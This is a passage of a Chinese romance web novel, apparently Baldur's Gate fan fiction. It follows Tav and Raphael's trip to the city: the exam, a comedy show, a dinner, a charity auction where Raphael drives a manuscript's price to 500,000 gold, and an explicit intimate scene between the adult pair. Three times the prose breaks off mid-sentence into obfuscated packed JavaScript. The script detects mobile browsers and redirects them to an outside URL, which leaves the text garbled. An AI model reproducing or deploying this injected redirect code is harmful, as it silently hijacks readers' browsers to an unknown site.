话虽如此,她还是等到第二天只有一个人在房间的时候,这才重新拿出那本小册子。 . 97.约会 两周后,博德之门。 因为下午有课,二人抵达城区时已是晚上。 塔夫曾有些担心拉斐尔会太过铺张,但他除了告诉她下榻之处离考试地点很近外、步行不过十分钟外,其他都想作为惊喜。再加上这是二人初次出游,她不愿给拉斐尔泼冷水。 不过他显然记得她说过的小事,安排十分妥帖。 跳下马车,塔夫面前是一栋温馨的砖石宅邸,一楼或半地下室住着房东兼管理员兼厨师的矮人婆婆,一条粉刷得雪白的台阶通向有独立出入口的二楼和三楼,台阶旁为二人留着一盏黄铜灯。 室内布置不是拉斐尔偏好的简洁风格,倒很有家里农场的感觉,几个粗亚麻钩编的垫子看上去像是矮人婆婆自己的作品。 塔夫一进门就闻到浓郁的甜香气,欢呼一声:“我最喜欢的肉桂烤苹果!”她几步奔到餐桌旁却一下顿住,望向拉斐尔,“我居然始终不知道你最爱吃什么。” 拉斐尔也怔了怔:“我有最经常吃的食物。但最喜欢的,一时无法决定。”他替她叉起一块笑着说,“还好你知道你喜欢什么。” 塔夫接过叉子,莫名有些讪讪。 不过果然很好吃,这肯定是今年的新苹果。 为了让塔夫可以节省时间、早点休息,二人晚餐直接在住处解决,品尝了矮人婆婆的手艺——温馨的家常菜,菜色也都是塔夫喜欢的,她吃得赞不绝口。 饭后,复习用的书房则面对幽静花园,透过窗户偶尔可以看到萤火虫。 一切对塔夫来说都舒适又方便,完美得几乎有些不可思议。 直到睡觉时间。 爬上三楼,瞧见卧室那张铺着雪白床单的宽敞大床时,塔夫终于咽了咽口水。 “我住楼梯对面那间客卧。”拉斐尔似乎没有错过她那一瞬的惊慌,不过只是微笑给她一个晚安吻。 塔夫心里一软,伸手环在拉斐尔腰间:“我们明天……” 她到底还是犹豫了,最后说,“……早上见。” . 塔夫睡得格外好,第二天醒来时忍不住闻了闻枕头,猜测枕芯里面塞了什么助眠的香草。 考试也格外顺利,这次离开考场后她自信很多:“还不错。” 见拉斐尔却似乎比她还紧张,塔夫绷着脸,“至少……能比上次要好。” 拉斐尔呼出一口气,笑起来:“至少?这听上去是过分的谦逊。”他俯身飞快在她唇上吻了吻,“我真为你高兴。” 塔夫身子有些轻飘飘的。 真奇妙,明明和拉斐尔已经有过更亲密的接触,但只是一个吻,就让她感觉可以飞起来。她可以没有任何负担地和拉斐尔一起“旅行”了!他看上去同样兴奋,肯定也安排了不少活动。 塔夫笑眯眯牵住拉斐尔:“我们接下来去哪儿?” . 二人住的那栋小房子离博德之门医学院也很近,塔夫先同拉斐尔一起去她未来的校园(拉斐尔对此非常有信心)逛了逛,又坐在学校旁边的咖啡店外吃了简单的午餐。 拉斐尔没有拒绝塔夫的付账,因为这是她临时选择的地方。 食物意外的实惠又美味。 “这简直是我吃过的最好吃的玛芬!”塔夫说着把手举到拉斐尔嘴边,他就着咬了一小口,微微皱起眉:“不是甜的……?”塔夫好笑,“培根味的,当然是咸的。” 拉斐尔喝了口咖啡,塔夫趁机在他的蓝莓玛芬上咬了口:“我宣布你的更好吃!天啊,居然还能比我的更好吃?!” 拉斐尔语气居然有些不舍:“那,你想要交换吗?” 塔夫第一次见他这副护食的可爱样子,笑起来:“没想到我们这么快就找到你最爱吃的东西!意外的成就!” 拉斐尔耳尖一下有些泛红,把自己的塞给塔夫,又夺过她手里的培根味,连着咬了好几大口。 塔夫笑得更欢:“你这是干嘛呀,我两个都喜欢。” 拉斐尔似乎有些噎到:“但你更喜欢那个。” . 有第一次偏离计划就有第二次。 路过一家古旧二手书店,塔夫一下停住脚,拖着拉斐尔爬上三级台阶,推开门便被|干燥的纸墨香气环绕,进入一片安静而又怀旧的世界。 店里只有老板在,抬头瞧二人一眼说一句“请随意”,便重新低下头继续看手中的书。 “给家里添点收藏。”塔夫低声说。她随手抽出一本,翻着翻着就读了下去,换姿势时余光瞥见拉斐尔在确认时间,放下书,“我好像看得太久了?” “……”拉斐尔明显有片刻停顿,“并没有。” “你可以告诉我的。你计划了其他行程对吗?” “那没关系。你喜欢这里,而我希望你这天过得开心。” 塔夫怔了下,把书合上递给老板。侏儒婶婶笑眯眯地替她用牛皮纸包好:“哦,是我很喜欢的书!如果你对这个题材感兴趣,我还会推荐另外两本,在从右边数第二个书架中间。” 塔夫冲她笑了笑:“我下次再来。” 一前一后离开书店,拉斐尔立刻拽住塔夫:“为什么要离开?” 塔夫慢慢呼出一口气:“你原本的安排是什么?” “那不重要,我们可以回书店继续……” “你的计划是什么?” “剧院。”拉斐尔说出某部新上喜剧的名字,很受欢迎,一票难求。 “你一定还有其他备用计划吧。”塔夫又问,“如果我对这部剧不感兴趣的话。” 拉斐尔抿抿唇。 塔夫重复道:“你的其他……” “射箭、扔飞斧。”拉斐尔语气有些生硬,“演奏会、露天市场、马戏表演。” 塔夫忍不住叹口气:“你用心安排了这么多,为什么不告诉我呢?” 拉斐尔垂下眼睛,没有说话,可塔夫什么都听到了。 “这不是我一个人的旅行,我也希望你可以和我一起,就好像……”塔夫很想说和二人亲密的时候也是同样的——她也想看到他享受其中,与她一起感到快乐。他明明对她说不要与感觉对抗,为什么自己却始终克制。 然而她无法直接说出口,脸也一下涨红。 拉斐尔重新望向她。 “……就好像刚才吃玛芬一样!”塔夫及时换成其他例子,“我们都吃到喜欢的。”她成功补救后又连忙岔开话题问,“演出几点开始?我很想去看!” “直接赶去不会迟太多。可这样一来你没有办法换衣服。”拉斐尔语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558455|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气听上去有几分计划没能实现的闷闷不乐。 塔夫一下又好笑起来,把书塞进背包,再次牵起他的手:“我们快走吧。” …… 看过喜剧,之前的一点小小沮丧彻底消失,路上塔夫同拉斐尔聊着聊着,忽然爆发出一阵大笑。 拉斐尔已经见怪不怪:“又想起了哪一段?” 塔夫上气不接下气:“我很抱歉,和我向你道歉,是同样的意思……哈!” 拉斐尔有些无奈地接过:“除非是在葬礼上。” “好糟糕的笑话。”话虽如此,塔夫还是笑个不停,“我得记下来……哈哈!” 拉斐尔再次替她补充完整:“因为贾希拉也会很喜欢。” . 行程回归“正轨”,距离下一项活动——晚餐——时间还很充裕,拉斐尔终于能带塔夫回去换衣服。 洗过澡,塔夫抓紧时间俯在梳妆台前边笑边写,拉斐尔在她身后一边为她擦头发,一边帮忙口头整理。 “噗!”塔夫憋着笑奋笔疾书,“拉斐尔你简直可以去当职业喜剧演员了,说的时候居然一点不会笑场吗?” “因为我已经笑过,所以就没那么好笑了。” “听上去很贵族,体验过后很快就厌倦了。” “这跟贵族没有关系。再好笑的笑话,短时间内听第二遍,或者说第五遍,也不会……” “哈哈哈哈!”塔夫重新读了一遍自己刚写下的笑话,再次前仰后合。 拉斐尔:“……”他忍不住弯起唇,手上却微微用力,“别乱动!会扯到头发。” . 塔夫终于换好衣服又绾起头发,重新坐回梳妆镜旁,由拉斐尔替自己戴上耳环和项链——那是一整套由镶嵌钻石衬托的梨型珍珠,颜色是柔和均匀的淡粉色。 她从镜子里望着拉斐尔,他表情专注,调整好后俯身在她肩膀上吻了下,接着是脖子,最后贴在她耳旁,重新看向镜子中:“很适合你。” “谢谢你‘借’给我。”塔夫微微转过头望向拉斐尔,“我一定会好好保护它们。” 拉斐尔怔愣,很快偏头在她唇上吻了吻,又拉她站起身微笑说:“轮到你了。请帮我系领带。” 塔夫微微松一口气。这套首饰只看首饰盒便能猜到大概是家族传承的珠宝,价值肯定不菲。她刚才有些担心自己的拒绝会让拉斐尔不快,还好他并没有。 她接过领带,一遍学一遍练,系了三次终于成功,但看上去好像还是有点歪。拉斐尔却很满意的样子,又指指仍竖起的领子。塔夫好笑地瞥他一眼,刚再次朝他伸出双手,就被拉斐尔拦腰搂住。于是,塔夫手抓在拉斐尔的领子上,与他交换了一个比预想中更绵长深情的吻。 塔夫呼吸有些急促,睁开眼睛时拉斐尔正深深望着她,像是在挣扎到底是现在就重新吻住她,改变之后的全部安排,还是继续他早就做好的约会计划——晚餐、拍卖会…… 塔夫已经调整过来呼吸,替拉斐尔翻好领子,整理拍平:“没有皱。” 拉斐尔飞快在她唇上碰了下。既然塔夫已经做出决定,他终于还是松开牢牢环在她的腰间的手臂:“那我们……” 塔夫却拽住他的领带,把他重新拉向她。 . 98.拍卖 然而拉斐尔却克制住了,自己重新飞快系一遍领带,又清了清嗓子: “我们应该出发了。” 塔夫并不意外拉斐尔的选择,哪怕他显然被吻得勾起情动。 毕竟这已经是他第三次费心准备一次特别的约会,虽然她同样想和他在房间里待一整晚,也不愿意让他的计划又一次流产。 而且…… 塔夫忍不住偷偷瞧一眼拉斐尔,领带可真是个好东西,知道这点就让她足够满意。 . 精灵之歌二楼,私人房间。 塔夫手中的菜单精致,没有价格,不过通过每道菜的推荐配酒她便能猜测一二。除此之外还有另一份酒单,是拉斐尔家族在餐厅存放的酒。 “这种九狱威士忌真的存在!?”塔夫好奇瞧了几眼,感叹出声,“我以为只是传说。” 考虑到接下来要去拍卖会,她决定还是得保持清醒,哪怕在拉斐尔的极力推荐下,也只点了一杯开胃酒和一杯餐后酒。选好菜,侍者说还可以点曲子,于是她点了首《沿河而下》。 “很适合你。”拉斐尔今晚又一次说。 塔夫很快反应过来:“因为农场在博德之门上游。”她笑了,“其实是和剧团的下出戏有关。” 剧团上半学期排练旧剧,帮助新人磨合熟练社团活动,顺便选择下半学期的新剧。 塔夫提到的新剧本讲述了一家人的旅途,也同样有些荒诞,最重要的场景之一就在河边。她又兴致勃勃地说自己也许能在其中扮演一个角色——开场时就去世的母亲,但正是她希望回家乡埋葬的遗愿开启了整个故事: “是不是很棒!我可以成为一具尸体!” 侍者正端上餐前面包和橄榄油,努力维持着表情,眉毛还是明显跳了跳。 塔夫声音放低了些:“所以不需要什么肢体表演,只用念台词就可以。” 不过这只是选择之一,毕竟死亡听上去总归有点令人忌讳,而且她也的确有私心:“最后还不一定,不过菲拉已经开始列出可以加到剧里的歌单,我很喜欢这首《沿河而下》。” 如同响应她的话语,小提琴演奏悠扬响起,接着是精灵空灵的嗓音。 塔夫很快就一脸陶醉地享受起来,到第二遍副歌时还跟着哼了几句: “夜幕初垂,我们将共度今夜。 “江渚之上, “沿河而下。 “请不要叫醒我,就让我留在梦中。” ——不过居然仍能是走调的,而且她自己并不知道。 拉斐尔却忍不住微笑起来,甚至无法移开视线。 希望这条河永远没有尽头。 然而歌曲总有结束的那一刻。 拉斐尔叫来侍者,要音乐家或变调或改奏或纯音乐或人声哼唱,总之使劲浑身解数用各种形式毫不单调地循环演唱了一整晚。 至于塔夫。 她直到吃过晚餐离开精灵之歌后才得知,自己几次跟着哼哼其实没有一次在调上。 “你为什么不早点告诉我?” 一想到至少有两次侍者就在一旁,她简直尴尬得无地自容,再加一次想要成为尸体,这对可怜的侍者来说,已经能够称得上是工伤了吧! 抬眼又瞧见拉斐尔笑吟吟的模样,塔夫更加气不打一处来,气急败坏地要求他道,既然这么喜欢看别人笑话怎么不自己试着唱,结果听拉斐尔正确示范地轻声哼了几句后就立刻沉默下来。 “怎么了?”拉斐尔有些意外。 塔夫脸莫名红了:“……真好听。”她忽然没办法看拉斐尔,垂下眼睛又说一遍,“真好听。” 拉斐尔默默拉住她的手,两人红着脸一起走过两条街,他才突然想起: “我们的马车!等在精灵之歌门前。” . 拍卖会现场。 塔夫同拉斐尔一起进入包厢时,拍卖已经进行了一阵子。不过这对她来说是个好消息,可以避开令人疲倦的社交。要知道,她晚上还有挺多事想要做。 身穿黑色马甲和外套的男仆与拉斐尔耳语几句,告知二人号码17会是他们今晚的匿名叫价人。 比起拍卖的物品(目前为止多是各种珠宝首饰)塔夫更感兴趣的是拍卖流程,比如: 拍卖官落下的小木槌、每次都要提到的“按现况”拍卖,概不负责瑕疵或者事后追责、还有拍卖行给一些匿名捐赠人起的长长的气派称号:“北费伦范围.对卓尔精灵战争历史时期的.黄金蛛型祭祀制品.最具鉴赏力的.收藏家”。 “那些其实都是寄售人自己起的。”拉斐尔微笑说。 塔夫瞠目:“不会被其他人知道吗?”感觉会有点尴尬。 “会装作不知道。”拉斐尔变成一脸严肃。 塔夫瞧了他一眼,肯定道:“你知道那个人是谁。” “……” “你果然知道。不会还是我认识的人吧?” “……” “!?” 塔夫更加好奇,连着猜了好几个人,拉斐尔始终守口如瓶。她开始有些不开心,见拉斐尔想要解释什么却一时不知道怎么开口,反而一下释然:“你果然很值得别人信任。“ 她抿唇笑了笑,侧身在拉斐尔脖子上轻轻吻了下。 “成交!”小木槌同一时刻落下。 倒像是自己和拉斐尔达成了什么交易。 塔夫好笑,在他耳旁跟着重复一遍:“成交。” 下一件便是雷文伽德公爵的捐赠品,许多人提过到的红龙骨架,然而因为体积过于庞大,无法在现场展出。 塔夫有点失望,继续贴在拉斐尔耳旁轻声嘀咕:“我其实一进来就怀疑了,这里地方根本不够大。” 拉斐尔终于忍无可忍地重重吻了她一下,把她抱回她自己的座位。 与此同时雷文伽德公爵来到拍卖官身旁,亲自介绍:“正是飞龙关下方的那一副。” 很多人纷纷表示他们早就猜到了,竞价此起彼伏,最后由21号匿名买家以五十万金币的高价拍得,并表示愿意将龙骨继续安放在飞龙关,供公众参观。同时会成立一笔同等金额的专项基金,交由焰拳管理,每年年金用于维护龙骨。 这一做法得到了更多人的欢呼和赞扬。 塔夫再次瞠目结舌:“这算什么?”如果她没记错的话,雷文伽德公爵是焰拳的最高长官。 拉斐尔说:“你可以把这看作是一种合作的意向。” “不是贿赂?” “今晚是慈善拍卖。” 塔夫差点脱口而出“只是名义上的吧!”又觉得自己仿佛直接回到高中时期,因为读过《费伦DR1492》而无比愤世嫉俗。 拉斐尔则已经继续解释道:“最多算政治献金,但很聪明地绕过了一万金币以上的捐款不允许对公众匿名的要求。” 塔夫一下激动起来:“所以这里面果然有猫腻!” “在知道对方的具体目的前,我大概会说,也许背后另有其他交易。” “这不正是我说的猫腻?!”塔夫立刻反应过来,干巴巴加上一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572625|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦,交易是中立的。” 拉斐尔笑着瞧她一眼:“嘘。拍卖要继续了。” 在拍卖官的几番要求下,拍卖行重新安静下来。 下一件拍卖品被推了上来。 “作品原稿。《费伦DR1563》。” 塔夫一下怔住,是同一位作者!这么巧?难道这整场拍卖其实是出政治讽刺秀? 她目不转睛地盯紧台上。天鹅绒布揭开,一个精致的水晶盒子里摆着一本厚厚的发黄的手稿。 现场一片寂静。 “仍然来自雷文伽德公爵。特殊捐赠品。” 拍卖官简单介绍一番后喊价,“起拍价五千金币,每口叫价五百金币。” “我们得到了第一个出价!17号,一万金币。” 塔夫猛地转过身:“那不是我们的号码吗?” 拉斐尔点点头。 塔夫诧异:“是因为我?!”拉斐尔记得她说过的每一件事? “9号,一万零五百金币。” “4号,一万一千金币。” “29号,一万一千五百金币。” …… “21号,两万金币。” “17号,两万五千金币。” 塔夫一把抓住拉斐尔的手:“真的不需要!我已经没有那么痴迷这位作家!” 拉斐尔却说:“我有些好奇,21号这次会愿意出价多少。” 塔夫不过怔愣一会的过程中,价格很快攀升到惊人的五万金币,而且正是二人17号的报价。 其他人渐渐开始退出,只有三人仍在。拉斐尔仍不紧不慢地每次加五千,而另外一位每次加五百金币的买家也开始变成一千金币起加。 21号似乎想要赶快结束这闹剧,将价格突然提到了整整十万金币。 拉斐尔笑着哼一声,直接翻倍。 本就充满低声议论的拍卖场一片哗然,众人更加肆无忌惮地嗡嗡讨论起来。塔夫望向拉斐尔,一时间觉得他的微笑有些陌生。 21号犹豫片刻,加到二十五万金币。 拉斐尔再次直接翻倍。 五十万金币,与刚才龙骨的出价相同。 拍卖现场仿佛被按下什么开关,一下变成死寂。 这次,21号没有再跟拍。 “还有人应价吗?” “五十万金币第一次!” “五十万金币第两次!” 塔夫忽然一阵眩晕,感到不可置信,甚至连数字听上去都变得陌生起来。一本书的成交价格,虽然是原稿,恐怕也已经足够买下她和拉斐尔所住的那栋带花园的小房子!说不定是两栋! 拍卖官手中木槌正要落下,雷文伽德公爵忽然站起身,同一时刻,21号将价格加到五十万零五百金币。 拉斐尔表情似乎是满意,又似乎是失去兴趣。塔夫一把抓在他腿上:“我们别再加了。”她这才发现自己掌心已经微微出汗,也许脸色都有些发白。 拉斐尔慢慢点了点头,没再继续。 小木槌终于落下。 “成交!五十万零五百金币!” 拍卖所里掌声雷动,久久不散。 雷文伽德公爵发表了一番得体的漂亮讲话,重点落在感激拍卖者对慈善事业的慷慨。 在场众人交头接耳,都更加想要弄清楚21号的身份,也想要知道这位明显在和21号叫板的17号是谁。 而造成这场的轰动两人,在下一件拍卖品开始叫价前便已经悄然离开了。 . 99.交换 塔夫和拉斐尔坐在回程的马车上。 车轮轧过石子路,马蹄发出的嗒嗒声和鞧辔的丁零响声十分和谐。 塔夫被几乎有些催眠的规律声音安抚,开口时已经不再那样激动: “刚才……为什么?” “突然产生了一点兴趣。”拉斐尔手放在她腿上,微微用力的抚摸也带来某种安慰,“对那位神秘的21号。” 只是一时的一点兴趣?塔夫有些后怕:“如果我们真的不小心拍下了呢?” “那便拍下了。”拉斐尔笑了,“别担心,雷文伽德公爵不会太介意。” “原来还需要考虑雷文伽德公爵会不会介意吗?!”塔夫怔愣片刻,“我想说的是,那毕竟是五十万……不仅仅如此,那位21号恐怕因为我们多付了好几十万!” “款项会用于慈善,越多越好。”拉斐尔忍不住在她脸颊上吻了下。 塔夫佩戴的这套珠宝是海螺珠和粉钻,如果真的要拍卖,单独一只耳环的起拍价都只会更加昂贵,不过眼下当然不能告诉她。 至于拍卖会上的小插曲。 他初次叫价的确是因为知道塔夫会感兴趣,但她第二次拒绝自己想要送出的礼物后,接下来更像一种突如其来的发泄,顺便满足一下自己的好奇。 他知道塔夫并不想参与其中,可尽管如此,她还是这么自然地描述为“我们”。 想到这里,拉斐尔忍不住又亲了她一下:“你真可爱。” 塔夫又好气又好笑:“你严肃点!我心脏现在还在怦怦乱跳呢!” “足够戏剧化才能给上流社会带来些谈资。”拉斐尔抱住她,“我下次会询问你的意思。” 塔夫叹口气,也许是因为刚才十分紧张,慢慢平静下来后,她一时没有力气束缚心里那个有些阴暗的自己,毫不掩饰地刻薄评价道: “刚才那本书的拍卖也真是奇怪。介绍作品的时候,鸦雀无声。拍卖成交后,掌声雷动。我看这才是上流社会,不赞美作者的天赋和作品,反而只是赞美价格、金钱和交易背后的关系。” 拉斐尔瞧了她一眼,十分认同地附和说道:“在场恐怕没几个人读过那本书。” 塔夫噎了下:“其实我也没有看完……因为写得不如《DR1492》那么有意思……” 这句话不知道逗到拉斐尔哪里,他笑得比下午看喜剧时还开心。 塔夫同样觉得有点滑稽,还有点气馁:“我是想要讽刺这么露骨地交换社交资源!不过也许只是我没有机会。如果我有机会或者金额足够大的话,说不定我会比我刚才讽刺的还要恶劣。” 拉斐尔却忽然止住笑:“对你来说,金额足够大是指多少?” “你别突然装得这么一本正经啊!”塔夫吓了一跳。 “我的问题很严肃。你刚才也叫我严肃一些。” “?!” 塔夫立刻明白过来拉斐尔隐含的意思——多少钱可以让她改变立场,或者说的难听点,收买到她, “我才挖苦完这种交换!我刚才只是在自嘲!” 塔夫顿时气得不想和拉斐尔说话,他低声安慰两句无果后便直接伸出手臂拥抱她。塔夫一边推一边转过身背对他,拉斐尔干脆把她抱到自己腿上,又把脖子往她唇边凑。塔夫直接咬了他一口,他却很舒服似的哼一声:“你原谅我了。我们和好了。” 塔夫被他这副忽然冒出来的惫懒样子逗笑了:“刚才那种事,你以后想都别想好吗?” 拉斐尔居然犹豫片刻,这才点点头。 塔夫眯了眯眼睛:“你重复一遍我刚才的要求。” 拉斐尔轻咳一声:“我不会再向你提出那种假设性问题。” 塔夫再次恼火! 哪怕拉斐尔认真解释起来“想”和“说”的区别,塔夫也很清楚他所表达的意思——事实上他说过不止一遍——无法控制想法但能够约束行为云云,她仍然一路没理他。 不过也没有持续太久,二人很快重新回到那栋可爱的砖石小房子前。 塔夫率先跳下马车,又先拉斐尔一步迈入大门。 通往二楼的楼梯只有一人半宽,出于绅士的礼仪,拉斐尔还是拉住塔夫,在她身前爬上楼,转过身迎她。 塔夫哼一声,越过他直接走到卧室门前,垂眼看着门把手,却迟迟没有推开。 拉斐尔来到她身旁:“我会尽量不去想。” 塔夫终于还是点点头:“嗯。” 拉斐尔又问:“我可以得到一个晚安吻吗?” 塔夫觉得自己接下来的话实在有些狡猾,甚至能够称得上一番设计。尽管她脸颊略微发烫,还是仰头看向拉斐尔的眼睛,开口时特意用上几分讥诮:“可以,不过我有一个‘交.换.条.件.’。”她声音放低些,“我们今晚……” 不等她说完,拉斐尔已经俯身吻住她。 而且显然就没打算只给她一个晚安吻。 他手揽在她肩背和腰后,将她牢牢锢在身前。塔夫心里其实也有期待,伸手慢慢环住他。拉斐尔吻得更加热烈,每一次亲吻和舔舐,塔夫都感到一阵微弱的电流从嘴唇蔓延至后脑,又由他的抚摸沿脊椎导向下身。 拉斐尔终于微微退开些,仍和她碰着鼻尖。 二人四目相对时,塔夫忽然无法开口说出那个条件,在心里借口这是因为她现在的呼吸过于急促。拉斐尔轻轻地啄吻她的唇角、脸颊,直到她胸口起伏平复一些。 “我愿意接受你的交换条件。”他口吻带着克制,但明显隐隐兴奋,“我们今晚……做什么?” 拉斐尔刚才果然听到了。 但是这语气和她想要的效果完全不一样! 虽然是由她提出来的,塔夫还是愤愤推开拉斐尔。 然而她没有推动,拉斐尔抓着她的手腕,轻松扣在她腰后,俯身重新亲吻她:“我已经得到了我的晚安吻,必须要满足你的愿望才公平。” 如果他给她开口的机会的话!而且刚才那才不是晚安吻! 塔夫恼羞成怒:“今晚你都要听我的!” …… 塔夫深感刚才同拉斐尔的“交易”更像是打情骂俏,脸颊止不住发烫,干脆关掉灯,坐在一片黑暗中。 她双眼看不清周围,其他感官变得更加敏锐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今天真的去了不少地方,做了不少事。 这念头让她再次打了个大大的哈欠,几乎睁不开眼睛。 拉斐尔再次轻笑一声,手在她背上抚摸着:“困了?” 忽然之间,塔夫有些支撑不住,还有点不好意思,却忍不住把脸也埋在拉斐尔肩窝:“嗯。好像有点累,这样抱着又太舒服了。” 拉斐尔抱着她站起身。 这一次塔夫躺到了床上,头枕上柔软助眠的枕头,几乎想立刻就这样睡过去。拉斐尔俯身替她盖上被子,最后在她额头上吻了吻:“晚安,塔夫。明天见。” 塔夫用仅剩的清明神智伸出手,死死拽住大概是浴巾一角:“和我一起。” 见拉斐尔没有反应,塔夫便又嘟囔一遍,一副不达目的绝不睡的架势:“今晚你得听我的。”拉斐尔终于还是躺到她身旁,塔夫立刻松开战利品浴巾,翻身紧紧抱住他,肌肉结实,皮肤光滑,而且格外温暖。她舒服地呼一口气,很快进入梦乡。 . 100.早晨 这是什么? 滑溜溜的还很有弹性。 塔夫没有赖床的习惯,既然醒了就干脆睁开眼睛,正对上拉斐尔似笑非笑的表情,微微泛红的湿润眼角。她心里不免一惊,连忙又阖上眼帘。 她昨晚做了什么? 她昨晚是困了,又不是喝醉了或者失忆了! 塔夫奇怪自己在慌张什么。更何况她可是什么都没做,甚至连想要给拉斐尔一个小小教训的“交易”都轻轻放下了。 而且就算昨晚做了什么又能怎么样?! 心中一片坦荡后,塔夫重新看向拉斐尔,泰然问:“你已经醒了?昨晚睡得还好……吗?” 手里颤了颤,似乎更烫了。 塔夫后知后觉反应过来。 过去式和现在式可是两码事! 她脸颊一下子涨红,猛地收回手。拉斐尔随她的动作微微皱眉喘了一声,仍专注地瞧着她。塔夫猜他想表达的意思是谴责,但因为眼底的湿意,看上去倒更像是埋怨她松开了手。 塔夫脸开始热得生疼,慢慢扭身朝床边挪:“几点了?还很早嘛。你可以再睡一会……” 拉斐尔从身后环住她,嘴唇蹭在她耳侧,重复着她昨晚的要求,一字一顿呵气道:“和.我.一.起。” 塔夫后背顿时一阵酥麻,稍稍弓身挣扎,便紧紧靠上他胸膛。她被烫得轻喘一声,微微侧脸望向拉斐尔便想要开口讨饶。他的眼神却没有太多嬉闹,反而带着股奇特的认真与深情,和那几个吹向自己耳朵里字一起,让她胸口也涌上一股酸涩。 塔夫视线一点点移向拉斐尔的嘴唇。他注意到了,下意识地抿了抿唇。塔夫忍不住微笑起来,转过头吻住他。 拉斐尔怔了一秒,便拢着她脖子回吻起来。塔夫很快捉住拉斐尔的手带着他下移,无需更多指示,他自觉抚摸和揉捏起来,又在她的要求下加重力道。 她身前身后都是拉斐尔的体温,唇齿间则是他的灼热呼吸。这姿势对他似乎也更方便,而她居然忘了这样接吻感觉有多棒。塔夫忍不住带上鼻音:“真的好舒服,拉斐尔……” 拉斐尔吻得更深,舌头配合着或者是模仿着手指,舌尖在她口中挑拨细嫩敏感的软肉,擦过她上颚又在舌根打着转推压。津液从唇角溢了出来,被他吮吸着勾舔走。 也许是因为早上,也许是因为姿势,塔夫到得很快,甚至没有心理准备,只猛地抓住拉斐尔的手,在他口中发出一声仿佛哽住的短促喘息。 拉斐尔轻轻吮了下她的舌尖,终于放开她的嘴唇,温柔地将她头发捋到一侧,从发根开始沿着她的脊椎在脖子上亲吻,直到后背微微凸起的隆椎,另一只手则仍贴着她轻柔地按抚。 塔夫享受着被延长的余韵,重新闭上眼睛等待肌肉紧绷退去。 大概刚才到得太快,潮水退去后显出一片空虚来。 她朝拉斐尔转过身,想要一个更紧密的拥抱抚平那阵焦灼,却被他压在肩膀平躺回去,又仰面看着拉斐尔俯在自己身上,深深地望着她:“塔夫……” 塔夫忽然撑起身环住他的脖子:“这次我想在上面。” 拉斐尔没有回应。 塔夫抱得更紧一些,头埋在他肩膀,上半身的重量都搭在他身上:“你答应过会听我的。” 拉斐尔回拥住她,手撑在她背后,胸膛微微颤抖,塔夫连忙退后一些去瞧他的表情。拉斐尔却是在忍着笑:“你昨晚想的也是这个?” 可不仅仅是这个。塔夫心想,还想听你失去忍耐和控制的呻吟。 她点了点头。 拉斐尔挑下眉毛,仍笑着:“昨晚。” 塔夫一怔。 她的交换条件是:“昨晚”他会听她的。可现在已经是第二天早上了!她居然就这么错过了? 拉斐尔继续在一旁说风凉话:“真可惜,我其实还挺期待呢。” “我看你根本一点也不期待!否则你干嘛非得指出来不可?”塔夫一下由失望转成恼火,气急败坏地推他,“你怎么能这么抠字眼?你干脆掉到合同里算了!” “哈哈!”拉斐尔笑着躺回床上,“哈哈!” 塔夫一下又郁闷起来,胸口都有点疼。 这一早上情绪起伏变化也太大了。 她缓了几口气,爬起来准备下床,却被拉斐尔拽住胳膊。 塔夫憋着气:“你放手。” 拉斐尔跟着坐起身,笑眯眯地:“我今天早上当然也可以听你的,只不过我也有个交换条件……” “呵呵。不感兴趣。放手。” “别这么快就决定。”拉斐尔手贴在她后背重新抚摸起来,“我其实只想知道你为……” “你给我放手。两边都是!” 拉斐尔一怔:“我今天也听你的。” “那就这么说定了!”塔夫得意,又继续道:“真的放手啦!我要去卫生间!” . 二人重新并排躺回被子下,塔夫一时却不知道怎么开始。 感觉气氛也有点怪怪的,哪里都不太对。 她试探着伸出手,拉斐尔回握住她。 她又侧过头,拉斐尔也转过脸望向她。 她凑近吻了他一下,拉斐尔眨下眼睛,也贴近在她唇上亲了亲。 塔夫忍不住笑出声。怎么比第一次还第一次。 拉斐尔也笑了,伸出胳膊将她环在臂弯。塔夫靠在他怀里,手指在他胸口漫不经心地滑着,更多是感受他皮肤和肌肉的弹性,而不是想要激起什么兴致。 拉斐尔曲起被她枕着的那只手臂,同样心不在焉地抚摸她的头发,不知道在想什么,可那心不在焉却让她觉得很舒服也很幸福。 那感觉像是,无论她说什么都可以,而无论拉斐尔回答什么都没关系。只是听到对方的声音,知道对方在身旁就能够让人感到安心。 于是她这样对拉斐尔说了。 “嗯。”拉斐尔一直玩着她的头发,绕在指头上再“弹”得一下松开,似乎觉得这是世界上最有意思的游戏。 塔夫手指却停了下来,半侧过身,胳膊搭在拉斐尔身上,嘴里则有一搭没一搭说起学校的事。 这次考试很顺利,再过一周就可以寄出申请材料。 就在上周,剧团提交的上年结余和今年预算得到正式批准,她也终于收到学务长明萨拉的推荐信。 居然不知不觉已经过了两个月,还有一个月就要正式进入期末复习,接着就是寒假。 她有些担心影心,想邀请她去农场但又不知道应不应该开口,或者怎么开口。 